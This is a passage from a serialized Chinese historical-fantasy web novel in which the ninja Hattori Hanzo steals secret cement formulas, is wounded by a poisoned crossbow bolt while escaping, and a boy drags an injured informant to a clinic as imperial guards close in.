众人迅速退至墙角,屏住呼吸! 服部半藏点燃引线!火星沿着引线急速燃烧! “嗤——!” 引线燃尽! “噗!” 一声沉闷如同闷屁般的轻响!锁孔内瞬间冒出一股刺鼻的青烟! 伴随着一股焦糊的金属和酸液混合气味!紫铜管前端在锁芯内部发生了微型爆炸和强酸腐蚀! 服部半藏毫不犹豫,上前一步,双手抓住柜门把手,运足内力,猛地一拉! “嘎吱——!!”令人牙酸的金属扭曲声响起!坚固的柜门被强行拉开!锁舌断裂! 柜内,整齐地码放着一摞摞卷宗、图纸和实验记录簿! 服部半藏眼中闪过一丝喜色! 他迅速翻找,手指如同拨动琴弦般掠过文件。很快,他找到一本封面用朱砂写着“325#硅酸盐水泥配方及工艺参数(绝密)”的厚册子! 他毫不犹豫,将册子揣入怀中!目光扫过旁边几份文件:“新型速凝剂(代号‘寒水石’)试验记录”、“低温煅烧(800°C)优化方案”、“高强抗蚀配方(海港用)探索”……这些名字让他心跳加速!全是无价之宝!他一把抓起,全部塞入怀中特制的防水油布袋内! “撤!”得手后,服部半藏毫不恋战,果断下令! 一行人如同来时一般,悄无声息地退出调配室,沿着阴影中的预定路线,朝着那段被腐蚀的围墙洞口快速撤离。动作迅捷,配合默契。 然而,就在他们刚刚穿过一片堆积如山的石灰石原料区,距离围墙洞口不足二十丈时!异变陡生! “呜——呜——呜——!!” 一阵前所未有、凄厉尖锐、如同万千厉鬼同时嚎哭般的警报声,毫无征兆地在厂区核心窑炉区的上空疯狂炸响!瞬间撕裂了夜的死寂! 那声音并非来自常见的铜锣或号角,而是如同金属摩擦般高亢刺耳,带着一种穿透灵魂的恐怖力量! 服部半藏瞳孔骤然收缩成针尖大小! 暴露了?! 怎么可能?! 巡逻队刚过去! 行动如此隐秘! “是窑炉顶!那座铁塔!” 代号“夜鹰”的忍者失声低呼,指向厂区中心方向! 只见核心窑炉区上方,一座新建的、造型奇特、如同细长铁针般耸立的黑色铁塔顶端,一盏巨大的、血红色的琉璃灯正在疯狂地旋转闪烁! 刺耳的警报声正是从塔身内部发出! 与此同时,铁塔基座周围,数盏隐藏在暗处的、前所未见的巨大“琉璃灯”(探照灯)猛地亮起! 碗口粗的、雪亮刺眼的光柱如同天神投下的审判之矛,瞬间刺破黑暗和粉尘的迷雾,在厂区内疯狂扫射! 光柱所过之处,管道、设备、原料堆纤毫毕现!如同白昼降临! “高温异常警报!核心区有人闯入!!”远处传来厂卫惊恐到变调的嘶吼声! “敌袭!敌袭!!” “快!快发信号!通知金吾卫!!” 整个水泥厂瞬间被彻底惊醒! 如同被投入滚烫油锅的蚁群! 尖锐的哨子声、杂乱的脚步声、惊慌的呼喊声、金属碰撞声……汇成一股巨大的声浪! 无数人影从各个角落涌出,朝着核心窑炉区方向狂奔! 火把被点燃,如同一条条游动的火蛇! 服部半藏脸色铁青! 他瞬间明白了! 情报有重大疏漏! 这水泥厂的核心区域,竟然安装了如此先进、如此恐怖的警报系统! 那铁塔……那红灯……那刺耳的警报……那雪亮的光柱……绝非寻常之物! 是陷阱?! 还是…… “分开走!乙字废料堆汇合!快!”服部半藏当机立断,声音带着压抑不住的怒火和一丝从未有过的惊悸! 五道黑影瞬间如同受惊的蝙蝠,朝着不同方向电射而出!将忍者的速度发挥到极致!服部半藏选择了最短的直线路径,直扑那段被腐蚀的围墙洞口! 然而,就在他距离洞口仅有数步之遥时!一股冰冷的、如同毒蛇锁定猎物般的致命杀意,毫无征兆地从侧前方的原料堆阴影中爆发! “咻——!!” 一支通体漆黑、毫无反光、箭簇呈三棱透甲锥形的弩箭,带着撕裂空气的凄厉尖啸,如同来自地狱的勾魂索,以超越肉眼捕捉的速度,精准无比地射向他的咽喉! 时机、角度、速度,都妙到毫巅! 封死了他所有闪避的空间! 生死一线! 服部半藏不愧是伊贺忍众首领! 在杀意临体的瞬间,身体的本能反应超越了思维! 他前冲的身体以一种完全违背人体力学的姿态猛地向右侧扭曲! 如同被无形巨力折断的竹子!同时,左手闪电般在腰间一抹,一柄淬毒的苦无已挡在咽喉前! “叮——!” 一声极其轻微却刺耳的金铁交鸣! 漆黑的弩箭精准地撞击在苦无的刃脊上! 爆出一溜细碎的火星! 巨大的冲击力让服部半藏手臂剧震,苦无险些脱手! 弩箭被格开,擦着他的脖颈飞过,带起一丝冰冷的寒意和几缕断发! 深深钉入他身后的砖墙,箭尾兀自剧烈震颤,发出“嗡嗡”的低鸣! 服部半藏甚至没有回头看一眼袭击者是谁! 那瞬间爆发的、如同实质般的铁血煞气和冰冷的杀意,让他后背的寒毛根根倒竖! 金吾卫! 而且是绝顶高手! 毛梦极麾下的精锐! 他强压下翻腾的气血和惊骇,将速度提升到极致,身体化作一道扭曲的黑烟,瞬间钻出墙洞,消失在茫茫夜色中! 只留下身后那凄厉的警报声和雪亮的光柱,如同为他奏响的耻辱乐章! 第一次出手,便铩羽而归! 沪县的水,比他想象的更深! 更浑! 而那个隐藏在暗处的金吾卫神射手,如同悬顶之剑,让这位伊贺忍首,第一次感到了深入骨髓的寒意! 第680章 要死了么 他来不及细想,伊贺忍首的本能让他当机立断:“分开走。乙字废料堆汇合。快。” 五道黑影瞬间如同受惊的蝙蝠,朝着不同方向电射而出。 服部半藏选择了最短的直线路径,身体化作一道扭曲的黑烟,将速度提升至极限,直扑那段被“蚀墙水”腐蚀出的围墙洞口。 距离洞口仅有数步之遥。 自由就在眼前。 他甚至能闻到围墙外潮湿泥土和腐烂水草的气息。 然而,就在这千钧一发之际。 一股冰冷的、如同毒蛇锁定猎物般的致命杀意,毫无征兆地从侧前方堆积如山的石灰石原料堆阴影中爆发。 那不是寻常的敌意,而是千锤百炼、在尸山血海中淬炼出的、如同实质般的铁血煞气。 锁定。 绝对的锁定。 封死了他所有闪避的空间。 仿佛整个世界的重量都压在了他的咽喉之上。 “咻——。。” 一声尖锐到刺破耳膜的厉啸。 一支通体漆黑、毫无反光、箭簇呈三棱透甲锥形的弩箭,带着撕裂空气的恐怖音爆,如同来自地狱的勾魂索,以超越肉眼捕捉的极限速度,精准无比地射向他的咽喉。 箭簇在探照灯惨白的光线下,闪烁着幽蓝的、淬毒的死光。 时机、角度、速度,都妙到毫巅。 仿佛计算好了他每一步的落点,预判了他所有的闪避可能。 这是必杀的一箭。 是千锤百炼的技艺与冰冷杀意的完美融合。 服部半藏不愧是伊贺忍众首领。 在杀意临体的瞬间,身体的本能反应超越了思维。 求生的意志如同火山般爆发。 他前冲的身体以一种完全违背人体力学的姿态猛地向右侧扭曲。 全身的肌肉、骨骼、筋膜在极限状态下爆发出惊人的协调性,如同被无形巨力折断的竹子。 整个脊椎发出不堪重负的“嘎吱”呻吟。 同时,左手闪电般在腰间一抹,一柄淬了“见血封喉”剧毒的菱形苦无已如同毒蛇吐信般弹出,精准地挡在咽喉前方。 动作快如电光石火。 没有一丝多余。 “叮——。。” 一声极其轻微却刺耳欲聋的金铁交鸣。 漆黑的弩箭精准地撞击在苦无的菱形刃脊上。 爆出一溜细碎、如同鬼火般的蓝绿色火星。 巨大的冲击力如同攻城锤般狠狠砸落。 服部半藏只觉左臂剧震。 一股沛然莫御的巨力顺着苦无传来,震得他虎口瞬间崩裂。 鲜血如同细小的喷泉般迸溅而出。 剧痛钻心。 苦无险些脱手。 那箭簇上蕴含的恐怖穿透力,让他心头骇然。 这绝非寻常弩箭。 是特制的破甲重弩。 箭杆上蕴含的螺旋劲力,几乎要绞碎他的腕骨。 弩箭被格开,带着一股灼热的气流,擦着他的脖颈飞过。 冰冷的箭簇边缘如同剃刀般刮过皮肤,带起一丝火辣辣的刺痛和几缕断发。 他甚至能清晰地感受到箭簇上那淬毒后的粘腻触感。 死亡的寒意瞬间笼罩全身。 弩箭深深钉入他身后不远处的砖墙,“噗嗤”一声闷响。 箭尾兀自剧烈震颤,发出“嗡嗡”的低鸣,如同死神的嘲笑。 剧痛。 麻痹。 还有一丝诡异的灼热感,瞬间从脖颈处蔓延开来。 箭簇有毒?。 服部半藏心中警兆狂鸣。 但他甚至没有回头看一眼袭击者是谁。 那瞬间爆发的、如同实质般的铁血煞气和冰冷的杀意,让他后背的寒毛根根倒竖。 致命的危机感如同冰水浇头。 他知道,只要稍有停顿,下一支弩箭就会洞穿他的头颅。 他强压下翻腾的气血和惊骇,将伊贺秘传的“鬼影遁”身法催动到极致。 身体如同没有骨头的软泥,在高速移动中再次扭曲变向。 化作一道更加飘忽、更加难以捉摸的扭曲黑烟。 同时,右手猛地向后一挥。 数枚淬毒手里剑如同毒蜂般无声射出,并非射向袭击者,而是射向原料堆不同方向的地面和墙壁。 “噗噗噗。” 手里剑没入石堆和泥土,发出沉闷的声响,激起小片烟尘。 不求伤敌,只为制造混乱。 干扰对方的视线和判断。 争取那千分之一秒的逃生机会。 他不敢有丝毫停留,身体如同离弦之箭,瞬间钻出墙洞,消失在茫茫夜色中。 这时,一名女子从夜色中闪现。 她穿着夜行衣,背后一把巨弓。 正是海棠。 她说了下哨子:“嘟。。” “跑了。” ...... 脖颈处被箭簇擦破的伤口火辣辣地疼,如同被烙铁烫过。 一丝麻痒感正沿着血管向四周扩散。 他心中凛然。 果然是毒。 而且毒性猛烈霸道。 虽然只是擦伤,但毒素已经开始入侵。 必须立刻处理。 否则后果不堪设想。 他咬紧牙关,强忍着眩晕和左臂的麻痹感,将速度提升到极致,如同鬼魅般在沪县老城区错综复杂、污水横流的背街小巷中穿梭。 每一次落脚都精准地避开积水坑和垃圾堆,脚尖点地,如同蜻蜓点水,没有发出一丝声响。 每一次呼吸都绵长而压抑,将心跳和气息压制到最低。 他像一道融入黑夜的影子,在狭窄的巷道、低矮的屋檐、堆满杂物的死胡同里急速穿行,利用一切可以利用的阴影和障碍物遮蔽身形。 身后,水泥厂那凄厉的警报声和雪亮的光柱,如同为他奏响的耻辱乐章,越来越远,却如同烙印般刻在他心头。 第一次出手,便铩羽而归。 沪县的水,比他想象的更深。 更浑。 更凶险。 而那个隐藏在暗处的金吾卫神射手,如同悬顶之剑,让这位伊贺忍首,第一次感到了深入骨髓的寒意和刻骨的耻辱。 脖颈处的伤口如同被无数细小的毒虫啃噬,麻痒感迅速加剧,并伴随着阵阵灼痛,如同有火炭在皮肤下燃烧。毒素正沿着淋巴和血管快速蔓延。 左肩开始感到沉重和麻木,左臂的灵活性明显下降。 每一次发力奔跑,都牵动着伤口,带来钻心的疼痛和更强烈的麻痹感。 他额头上渗出细密的冷汗,混合着污泥,流进眼睛,带来一阵刺痛。 他不敢擦拭,只能强忍着。脑海中飞速运转:去哪里? 回“福昌鱼行”? 太危险。 金吾卫很可能已经盯上金顺义。 必须找一个绝对安全、无人知晓的地方。 他凭借着超人的记忆力和对地形的熟悉,七拐八绕,专挑最偏僻、最肮脏、连野狗都不愿去的角落,最终潜入新城边缘一片废弃的染坊区。 这里曾经是沪县最大的染坊聚集地,如今因污染严重被强制搬迁,只留下大片破败、空置、散发着刺鼻化学染料残留气味的厂房和仓库。 空气里弥漫着浓烈的、混合着霉味、灰尘、以及靛蓝、茜草、明矾等染料残留的古怪气味,令人作呕。 他选择了一间最偏僻、门窗都被厚重木板钉死、如同巨大棺材般的废弃靛蓝染料仓库。 他如同壁虎般紧贴在仓库外墙的阴影里,侧耳倾听片刻,确认四周死寂无人后,才如同狸猫般滑到仓库后墙一处被雨水侵蚀、木板略微松动的角落。 他用手指仔细摸索,找到一处缝隙,从腰间皮囊中取出一根细如发丝、顶端带钩的精钢探针,插入缝隙,轻轻拨动。 “咔哒”一声微不可闻的轻响,窗框内侧的插销被拨开。 他小心翼翼地将松动的木板撬开一条仅容一人侧身通过的缝隙,如同没有骨头的蛇,悄无声息地滑入仓库。 仓库内一片漆黑,伸手不见五指。 浓烈的、混合着霉味、灰尘和刺鼻靛蓝粉末的古怪气味扑面而来,几乎令人窒息。 地面覆盖着厚厚的、如同淤泥般的染料粉末和灰尘混合物,踩上去软绵绵的,无声无息。 巨大的染缸如同沉默的巨兽,矗立在黑暗中,缸壁上残留着干涸的靛蓝色污迹。 空气中漂浮着细小的粉尘颗粒,吸入鼻腔带来阵阵刺痛。服部半藏屏住呼吸,如同雕塑般静止在黑暗中,侧耳倾听。 只有自己如同擂鼓般的心跳声和粗重压抑的喘息声在死寂中回荡。 确认安全后,他才敢微微喘息,但每一次呼吸都牵动着脖颈的伤口,带来更剧烈的麻痒和灼痛。 他摸索着走到仓库最深处一个巨大的染缸后面,这里相对干燥,也最隐蔽。 他背靠着冰冷的缸壁,缓缓滑坐在地。 剧痛、眩晕、麻痹感如同潮水般阵阵袭来,几乎要将他吞噬。 他撕开夜行衣领口,借着窗外透进的极其微弱的月光,用随身携带的小巧铜镜查看伤口。 一道寸许长的皮肉翻卷的擦伤,边缘呈现出不正常的紫黑色,正有丝丝粘稠的黑血渗出。 伤口周围的皮肤已经明显肿胀,泛着青紫色,如同中毒的蛇皮。 更可怕的是,几条细微的、如同蛛网般的黑线,正从伤口边缘向四周蔓延。 这是毒素深入肌理的征兆。 好霸道的毒。 见血封喉绝非虚言。 他眼神一厉。必须立刻处理。 否则,一旦毒素侵入心脉,神仙难救。 他强忍着眩晕和左臂的沉重感,从怀中贴身皮囊内取出一个扁平的、用鲨鱼皮缝制的锡盒。 打开盒盖,里面整齐地排列着几根长短不一、泛着幽蓝光泽的银针,一小瓶碧绿色、散发着清凉气息的药膏,还有几颗用蜡封住的、龙眼大小的黑色药丸。 伊贺秘药——“青囊”。 他深吸一口气,强迫自己冷静下来。 首先,封穴。 减缓气血运行。 他拿起最长的两根银针,手指稳定如磐石,没有丝毫颤抖。 对着脖颈伤口上方、锁骨下方几处大穴,闪电般刺入。 银针入肉三分,精准无比。 一股轻微的麻痹感传来,伤口的剧痛稍减,但麻痒感依旧。 接着,清创。 他拔出淬毒苦无,用锋利的刃尖,小心翼翼刮去伤口周围发黑的皮肉和腐坏的组织。 刀刃刮过血肉,发出令人牙酸的“沙沙”声。 剧痛让他额头青筋暴起,冷汗如同小溪般流淌,但他连眉头都没皱一下,眼神冷静得可怕。 直到露出鲜红的、微微渗血的健康肌肉。 黑血顺着脖颈流淌,染红了衣襟。然后,敷药。 他将碧绿色药膏均匀涂抹在伤口上,一股清凉感瞬间压下了灼痛,但麻痒感依旧顽固地盘踞着。 最后,吞药。 第681章 金吾卫上门 他咬破蜡封,将那颗黑色药丸吞下。 药丸苦涩辛辣,如同吞下一块烧红的炭火。 入腹后瞬间化作一股灼热而狂暴的洪流,在五脏六腑间横冲直撞。 一股腥甜涌上喉头,被他强行咽下。 这是“九死还魂丹”,以剧毒之物炼制,能在短时间内激发潜能,压制百毒,但代价是脏腑受损,元气大伤。 不到万不得已,绝不轻用。 此刻,为了活命,他别无选择。 做完这一切,他已是汗流浃背,气息微喘,如同刚从水里捞出来一般。 伤口暂时处理了,毒素被强行压制,但并未根除。 那深入肌理的黑线和体内肆虐的丹毒,如同两把悬在头顶的利剑。 必须尽快找到解药。否则,内外交攻,必死无疑。 他靠在冰冷的缸壁上,闭目调息,脑海中飞速复盘着刚才那惊魂一刻。 那个神射手……太可怕了。 潜伏在侧,如同毒石般隐忍不发,气息完美地融入环境,连他这种级别的忍者都未能提前察觉。 直到他距离洞口最近、心神最松懈的那一刻才发动致命一击。 时机把握之精准,箭法之狠辣,心理战之老道,绝非寻常金吾卫。 是毛梦极亲自出手?还是他麾下另有高人? 沪县金吾卫的实力,远超预估。 还有那警报系统……那铁塔……那红灯……那雪亮的光柱……绝非寻常之物。 是陷阱? 还是大乾新研制的守城利器? 情报严重失误。 这次行动,败得彻底。 不仅暴露了行踪,折损了精锐,自己还身中剧毒,被迫服下伤及本源的猛药。 岛津大人那边……如何交代? 他心中涌起一股强烈的屈辱感和滔天的怒火。 伊贺忍众,何曾吃过如此大亏?。 这沪县……必须付出代价。 就在他调息之际,仓库外远处隐约传来一阵嘈杂的脚步声和火把的光亮。 还有金吾卫士兵特有的、冰冷威严的喝令声。 “搜。仔细搜。每个角落都不要放过。倭寇细作受了伤。跑不远。” “重点搜查废弃染坊区。他中了‘追魂箭’的毒。跑不了多远。” 毛梦极的人追来了。 动作好快。 如同跗骨之蛆。 服部半藏眼神一寒。 瞬间屏住呼吸,身体如同壁虎般紧贴染缸内壁,融入最深的阴影中,连心跳都几乎停止。 脚步声和火光在染坊区外围逡巡片刻,似乎并未深入这片废弃区域,渐渐远去。 服部半藏刚松了口气,但心中的警惕提到了最高。 沪县已成龙潭虎穴。 金吾卫的搜捕网只会越来越密。 必须尽快联系上金顺义。 拿到解药。 否则,死路一条。他强忍着眩晕和左臂的沉重麻木感,等到外面彻底恢复死寂,才如同鬼魅般滑出仓库。 他没有直接去“福昌鱼行”,而是绕了一个大圈,来到老城区一处三教九流混杂的“黑市”区域。 这里鱼龙混杂,赌坊、暗娼、私盐贩子、销赃窝点林立,是消息流通最快的地方,也是金吾卫监控相对薄弱的地方。 他换上了一身从垃圾堆里捡来的、沾满污渍和染料痕迹的破旧短褐,脸上涂抹了污泥和靛蓝粉末,伪装成一个落魄的染坊苦力。 他混在一群刚下工、浑身散发着汗臭和劣质酒气的力工中,走进一家烟雾缭绕、人声鼎沸的廉价茶馆。 要了一碗最便宜的粗茶,坐在最角落的位置,竖起耳朵,捕捉着周围嘈杂的议论声。 “听说了吗?昨晚水泥厂闹倭寇了。” “可不是嘛。那警报响得。跟鬼哭似的。震得老子耳朵都快聋了。” “听说金吾卫的毛阎王亲自坐镇。一箭射伤了一个倭寇头子。” “真的假的?毛阎王这么厉害?” “那还有假。我二舅在衙门当差,亲耳听说的。那倭寇头子中了毛阎王的‘追魂箭’。箭上有剧毒。见血封喉。听说跑不了多远就得毒发身亡。” “啧啧……倭寇胆子真大。敢来沪县撒野。” “嘿。听说悬赏千两白银。捉拿同党呢。活要见人,死要见尸。” “千两?。我的老天爷。够老子花几辈子了。” “别做梦了。倭寇凶得很。小心有命拿钱没命花。听说那倭寇头子是个忍者,会妖法。中了毒还能跑。” …… 服部半藏低着头,小口啜饮着苦涩的粗茶,心中却翻江倒海。 毛梦极亲自出手。 “追魂箭”。 剧毒。 见血封喉。 悬赏千两。 消息传得真快。 看来金吾卫是铁了心要把他挖出来。 他脖颈处的伤口又开始隐隐作痛,麻痒感似乎有加剧的趋势,体内那股被丹药压制的灼热感也开始蠢蠢欲动。 必须尽快找到金顺义。 只有通过他,才有可能弄到解药。 或者……找到城里的黑市医生。 他离开茶馆,如同幽灵般在阴暗的小巷中穿行,避开所有巡逻的士兵和可疑的目光。 他来到“福昌鱼行”附近,没有直接靠近,而是潜伏在一条污水横流的死胡同里,远远观察。 鱼行大门紧闭,但周围的气氛明显不对。 几个穿着便服、眼神锐利、腰间鼓鼓囊囊的汉子,正装作小贩或路人,在鱼行附近的街角、巷口来回逡巡。 是金吾卫的暗桩。 毛梦极果然已经盯上了这里。 金顺义这条老狗,恐怕凶多吉少。 服部半藏心中一沉。最后的希望似乎也要破灭。 他强压下心中的焦躁和眩晕感,思索着对策。 硬闯? 那是找死。 金顺义如果被抓,解药线索就断了。 难道要坐以待毙? 不。 伊贺忍众字典里没有“放弃”二字。 他想起岛津大人留下的紧急联络方式——通过“蝎子帮”的黑蝎。 那个贪婪狠毒的流民头子。 虽然风险极大,但眼下,这是唯一的生路。 他强提一口气,再次融入夜色,朝着“蝎子窝”的方向潜行。 每走一步,脖颈处的伤口都如同针扎般刺痛,麻痒感已经蔓延到整个左肩和半边胸膛,左臂沉重麻木如同灌铅,体内那股灼热的气息也开始在经脉中乱窜,带来阵阵撕裂般的痛楚。 毒素和丹药的双重煎熬,正在迅速吞噬他的生命。 时间不多了。 “蝎子窝”深处,恶臭弥漫。 黑蝎的窝棚里,油灯昏暗。 黑蝎正搂着一个倭国“游女”灌着劣质烧刀子,三角眼迷离,脸上带着淫邪的醉意。 突然,他腰间一个硬物毫无征兆地开始剧烈震动,同时发出一种极其微弱、如同蚊蚋嗡鸣般的“嗡嗡”声。 “嗯?。” 黑蝎醉眼猛地一睁。 他一把推开怀里的女人,手忙脚乱地从腰间解下一个用破布包裹着的黑色“鸣蝉”。 那“虫子”在他掌心疯狂地震动着,顶端的红色光点如同鬼眼般急促闪烁。 “妈的。什么鬼东西?。” 黑蝎吓了一跳,差点把“鸣蝉”扔出去。 他记得这是那个倭人服部临走前塞给他的“宝贝”。 他犹豫了一下,想起服部半藏那冰冷的眼神和许诺的“金山”,贪婪压倒了恐惧。 他按照记忆中的手势,用拇指死死按住“鸣蝉”侧面的凸起。 “嗡——。”震动和嗡鸣声瞬间停止。 紧接着,“鸣蝉”顶端射出一道极其微弱的红光,在他掌心投射出一行扭曲的、如同蝌蚪般的倭国文字。 黑蝎大字不识一个,烦躁地咒骂一声,将“鸣蝉”摔在地上。 “妈的。耍老子?。” 窝棚门帘无声掀起。 服部半藏的身影如同鬼魅般滑入,动作依旧迅捷,但明显带着一丝不易察觉的滞涩。 他脸色苍白如纸,嘴唇干裂,呼吸带着一丝紊乱的粗重,左肩缠着的绷带隐隐有深色的血迹渗出,脖颈处那道紫黑色的擦伤在昏暗灯光下如同一条狰狞的蜈蚣。 最可怕的是他的眼睛,布满了血丝,瞳孔深处闪烁着一种近乎野兽般的痛苦和疯狂。 那是剧毒和猛药双重煎熬下的濒死挣扎。 “黑蝎君……”服部半藏的声音如同砂纸摩擦,带着虚弱和冰冷,每一个字都像是从牙缝里挤出来, “鸣蝉示警……有重要情报……在一个孩子手里……他……可能……会来找你……” 他每说几个字,就微微喘息一下,身体不易察觉地晃动,仿佛随时会倒下。 “孩子?。”黑蝎一愣,随即三角眼中爆发出贪婪的精光,“情报?。什么情报?。值多少银子?。是不是藏宝图?。还是……还是那‘神土’的配方?。” 他如同闻到血腥味的鲨鱼,急切地追问。 服部半藏没有回答,只是冷冷地扫了一眼地上的“鸣蝉”,又深深看了一眼黑蝎,那眼神如同在看一个死人。 “找……到那个孩子……拿……拿到东西……萨摩藩不会亏待你……”话音未落,他身影一晃,如同融入黑暗般消失在门帘后,只留下一股淡淡的血腥味、浓烈的草药味和冰冷的杀意。 黑蝎呆呆地看着服部半藏消失的方向,又低头看了看地上闪烁的“鸣蝉”,三角眼中贪婪、疑惑、凶戾的光芒交织闪烁。 孩子? 情报? 萨摩藩的金山? 他舔了舔干裂的嘴唇,脸上露出一抹狰狞的笑容。 “妈的。管他呢。有银子不赚是王八蛋。疤痢头。疯狗。给老子滚进来。”他朝着门外厉声吼道。 很快,两个凶神恶煞的喽啰冲了进来。 “听着。给老子盯紧了。这几天,但凡有生面孔的小崽子靠近‘蝎子窝’,尤其是身上带着伤的。或者看着像捡破烂的。都给老子抓来。一个都别放过。听见没有?。抓到人。重重有赏。抓不到……老子扒了你们的皮。” “是。老大。” 两个喽啰齐声应道,眼中闪烁着残忍而贪婪的光芒。 黑暗的蛛网,已经悄然张开,等待着那只懵懂闯入的飞蛾。 而服部半藏,在离开“蝎子窝”后,再也支撑不住,踉跄着冲进一条臭水沟旁的阴影里,猛地喷出一口黑紫色的淤血。 他扶着冰冷的墙壁,剧烈地喘息着,眼前阵阵发黑,体内的剧毒和丹毒如同两条毒龙在疯狂撕咬。 他知道,自己撑不了多久了。 必须……必须尽快……找到解药…… 第682章 霖哥儿救人 服部半藏蜷缩在臭水沟旁冰冷的阴影里,每一次剧烈喘息都如同破旧风箱在撕扯,喷溅出的黑紫色淤血在污浊的地面洇开刺目的毒花。 脖颈处那道紫黑色的擦伤如同活物般灼热鼓胀,蔓延出的蛛网状黑线已爬满半边脖颈,深入衣领下的锁骨。 左臂彻底失去知觉,沉重如铁,体内那股被“九死还魂丹”强行压制的灼热洪流与“追魂箭”的阴寒剧毒如同两条失控的毒龙,在经脉脏腑间疯狂撕咬冲撞! 每一次碰撞都带来撕裂般的剧痛和深入骨髓的冰寒! 眼前阵阵发黑,金星乱冒,耳中嗡鸣不止,死亡的阴影如同冰冷的潮水,正一寸寸将他吞噬。 他死死抠住潮湿冰冷的墙壁,指甲在砖石上刮出刺耳的声响,试图用剧痛保持最后一丝清醒。 解药……必须找到解药……否则……伊贺之蛇……将毙命于这肮脏的臭水沟旁! 他脑海中闪过金顺义那张谄媚而惊恐的脸……还有那个可能携带着重要情报的孩子…… 最后的希望……如同风中残烛…… 他挣扎着,用还能动弹的右手,颤抖着从怀中摸出那枚仍在微微震动的“鸣蝉”,用尽最后力气,死死按住侧面一个更深的凹槽! 这是最高级别的紧急联络信号! 向所有潜伏的“鼠组”成员和可能接收到信号的据点发出濒死呼救! 做完这一切,他眼前彻底一黑,如同断线的木偶般瘫软下去,意识沉入无边的黑暗与冰冷…… 与此同时,在沪县老城区迷宫般狭窄污秽的巷道深处,霖哥儿瘦小的身躯爆发出惊人的力量,他死死咬着下唇,几乎将嘴唇咬穿,咸腥的血味在口中弥漫。 他弓着背,用尽全身力气驮着背上那具血肉模糊、气息奄奄的躯体——金顺义。 沉重的负担压得他稚嫩的脊梁骨发出不堪重负的呻吟,每一次迈步都像是踩在烧红的烙铁上,钻心的疼痛从脚底蔓延至全身。 汗水混合着污泥、泪水和金顺义伤口渗出的污血,糊满了他的小脸,模糊了视线。 冰冷的夜风如同刀子般刮过裸露的皮肤,但他浑然不觉,心中只有一个念头:救他! 把他送到医馆! 他只能凭着记忆和对黑暗的恐惧,在污水横流、垃圾遍地的背街小巷中跌跌撞撞地穿行。 每一次拐角,他都心惊肉跳,竖起耳朵倾听,生怕撞上巡逻金吾卫士兵那沉重的脚步声和铠甲碰撞的冰冷声响。 怀中那个紧贴着胸膛的油布包,如同烧红的烙铁般滚烫,里面那枚会“嗡嗡”叫的黑色“虫子”(鸣蝉)还在持续不断地发出微弱的震动和嗡鸣,像是有生命般提醒着他怀揣的秘密和危险,也像是不祥的诅咒,搅得他心神不宁。 金顺义昏迷中断断续续的呓语——“黑蝎……蝎子窝……倭人……金山……”——如同魔咒般在他耳边回响,让他既恐惧又茫然。 那个恶名昭著的流氓头子,那个吃人不吐骨头的魔窟,他真的要去吗? 可不去,又能怎么办? 金顺义快死了! 他不能见死不救! 他想起娘亲在纺织工坊里温柔而疲惫的笑容,想起自己领到第一份工钱时那份沉甸甸的喜悦……他不能死! 他要把金顺义送到医馆! 至于那个油布包和“虫子”……他死死按住胸口,一个模糊的念头在恐惧中挣扎——先救人!其他的,以后再说! 新城边缘,“济世堂”医馆的后巷,弥漫着浓烈的草药和血腥混合的刺鼻气味。 霖哥儿背着金顺义,如同从泥潭里捞出来的泥猴,踉跄着扑到那扇紧闭的后门前,用尽最后一丝力气,用沾满污泥和血污的小手,疯狂地拍打着厚重的木门。 “张……张伯!张伯!开门!快开门啊!!”他带着哭腔嘶喊,声音在寂静的巷子里显得格外凄厉,如同濒死幼兽的哀鸣。 门内沉寂片刻,随即传来一阵窸窣的脚步声和低低的咒骂声。 “谁啊?!大半夜的嚎丧呢?!还让不让人睡了?!” 门板“吱呀”一声拉开一条缝隙,一张睡眼惺忪、胡子拉碴的圆脸探了出来,正是医馆打杂的张伯,也是港口工地上张工头的远房堂兄。 他揉着惺忪的睡眼,满脸的不耐烦。 “张伯!是我!霖哥儿!港口工地的!”霖哥儿如同抓住救命稻草,语无伦次地哭喊,小脸上泪水混着泥污,眼神充满了极致的恐惧和哀求,“快……快救人!他……他快不行了!我……我表叔在码头扛活……不小心摔下货堆……被货物砸了……” 他急中生智,编了个漏洞百出的谎话,声音因为恐惧和疲惫而剧烈颤抖。 张伯借着门缝透出的微光,看清了霖哥儿背上那个血肉模糊、气息奄奄的人影,又闻到那股浓烈的血腥、污秽和隐隐的腐臭味,顿时睡意全无,脸色大变! “我的老天爷!这……这是怎么回事?!摔……摔成这样?!” 他嘴上说着,小眼睛里却充满了狐疑和警惕。 这伤……太蹊跷了! 浑身是撕咬伤和利器划伤,哪像是被货物砸的? 而且这人穿着打扮也不像码头力工! 但看着霖哥儿那副可怜巴巴、随时要晕倒的样子,再看看金顺义进气多出气少的惨状,他终究是叹了口气,心一软。 “唉!造孽啊!快!快进来!” 他慌忙拉开大门,帮着霖哥儿将金顺义连拖带拽地弄进狭小、堆满药材麻袋和杂物的后院。 浓烈的药草味也掩盖不住金顺义身上散发的血腥和恶臭。 “张伯!求您……求您救救他!”霖哥儿瘫坐在地,大口喘着粗气,小脸煞白,眼神依旧充满哀求。 “伤太重了!得赶紧止血!不然……”张伯一边手忙脚乱地翻找药箱,一边压低声音急促地说,话未说完,外面前堂方向突然传来一阵急促而沉重的敲门声! 伴随着金吾卫士兵特有的、冰冷威严、不容置疑的喝问: “开门!金吾卫查夜!速速开门!!” 如同晴天霹雳! 霖哥儿和张伯瞬间脸色煞白! 如同被冰水兜头浇下! 金吾卫! 他们怎么这么快就找来了?! 霖哥儿吓得浑身抖如筛糠,下意识地死死捂住怀里的油布包,那“鸣蝉”的震动仿佛变成了催命的战鼓! 张伯更是面无人色,手一抖,刚拿起的药瓶“哐当”一声掉在地上,摔得粉碎! 刺鼻的药味弥漫开来! “快!把他藏起来!”张伯压低声音,声音带着哭腔和极度的恐惧,手忙脚乱地将昏迷的金顺义往墙角一堆盖着油布的药材麻袋后面拖,又胡乱扯过几张破草席和麻袋盖在他身上。 霖哥儿也扑上去帮忙,心脏狂跳得几乎要从嗓子眼里蹦出来!小小的身体因为极致的恐惧而剧烈颤抖! “开门!再不开门!撞门了!!”外面的喝问声更加严厉,伴随着刀鞘重重撞击门板的“砰砰”声! 震得门框都在颤抖! 张伯深吸一口气,强行压下心中的恐惧,脸上挤出一个比哭还难看的谄笑,一边大声应着“来了来了!军爷稍等!这就来!” 一边对霖哥儿使了个严厉的眼色,示意他躲到柴堆最深处,然后匆匆跑去前堂开门。 霖哥儿蜷缩在柴堆和墙壁夹缝的阴影里,大气不敢出,小小的身体紧紧缩成一团,仿佛要融入墙壁。 